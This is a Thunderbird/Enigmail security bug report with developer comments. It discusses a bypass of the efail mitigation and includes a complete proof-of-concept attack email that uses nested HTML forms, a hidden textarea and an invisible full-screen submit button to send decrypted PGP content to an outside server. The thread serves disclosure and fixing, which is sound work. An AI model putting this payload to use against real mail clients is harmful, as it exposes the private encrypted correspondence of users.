1462473 - [efail] Bypassing 58.7.0 <form> mitigation

Status: RESOLVED DUPLICATE of bug 1450345

(Thunderbird :: Security, defect)

Description

[Ben Bucksch (:BenB)]

Hanno Böck writes in email:

With a minor modification I was able to bypass the mitigations for
efail in enigmail 2.0.4.

It seems enigmail tries to break sending forms by inserting a closing
tag for a form in the pgp part. But by opening two forms one can still
generate a form that will send all mail content to a server.
By redressing the submit button with css one can put an invisible
button over the whole mail and thus any click into the mail will leak
the content.

Example structure below, I think it should be obvious how it works.


------------------------

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="BOUND"

--BOUND
Content-Type: text/html

Click anywhere...

<form method="get" action='https://q2.re/f.php'>
<textarea style="opacity:0" name="a">
<form>

--BOUND
Content-Type: multipart/encrypted;
protocol="application/pgp-encrypted"; boundary="INNER"

--INNER
Content-Type: application/pgp-encrypted
Content-Transfer-Encoding: 7bit
Content-Description: PGP/MIME version identification

Version: 1

--INNER
Content-Type: application/octet-stream; name="encrypted.asc"
Content-Transfer-Encoding: 7bit
Content-Description: OpenPGP encrypted message
Content-Disposition: inline; filename="encrypted.asc"


--- Start of PGP/Inline encrypted data ---
Content-Type: multipart/mixed;
boundary="tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW"; protected-headers="v1"
From: test <[e-mail]>
To: [e-mail]
Message-ID: <[e-mail]>
Subject: verschluesselt

--tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
Content-Language: en-US

This is a secret...



--tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW--
--- End of PGP/Inline encrypted data ---


--INNER--

--BOUND
Content-Type: text/html

</textarea>
<button type="submit"
style="position:absolute;width:100%;height:100%;opacity:0"> </form>  

--BOUND--

Comment 1

[Ben Bucksch (:BenB)]

Will probably be fixed in bug 1419417

Comment 2

[Ben Bucksch (:BenB)]

Attachment: Attack email

Comment 3

[Ben Bucksch (:BenB)]

I've verified that
* The attack works in 52.8.0. Clicking anywhere in the email opens a link. I didn't check what the link contains.
* My fix for bug 1419417 fixes this. Clicking into the email does nothing.

Comment 4

[Magnus Melin [:mkmelin]]

Just tested this with the yet to be released 52.8.0 and can NOT confirm.

Yes, clicking the content will go to the form action url, but no data is included. (52.7.0 would send the data yes.)
This is working as designed, though I think we should add a confirm dialog.

Design is this: We don't allow people to fill in form data within mails, so whenever someone tries do do that we open the form action url in the browser instead. That way they will be able to fill it out on the web page, where they can check if they are on the right site etc.

Comment 5

[Hanno Boeck]

To clarify: This was a bug report against enigmail with current release thunderbird (52.7.0). Ben asked me to forward the info to him.

Comment 6

[Patrick Brunschwig]

The point is that it cannot be fixed by Enigmail, I could only implement some hack as a temporary workaround. 

I therefore agree with Magnus that we should instead open the form URL externally and add a confirmation dialog before doing so.

Comment 7

[Magnus Melin [:mkmelin]]

I'll mark this dupe of bug 1450345. 

The confirmation dialog can have it's own bug. But I'd point out you can pretty easily make all the content in a mail be a link anyway, if you want. And we wouldn't want to have the user confirm every click to open a link. So for an attack POV it's not relevant.

Comment 9

[Ben Bucksch (:BenB)]

Either way, this is properly fixed in bug 1419417.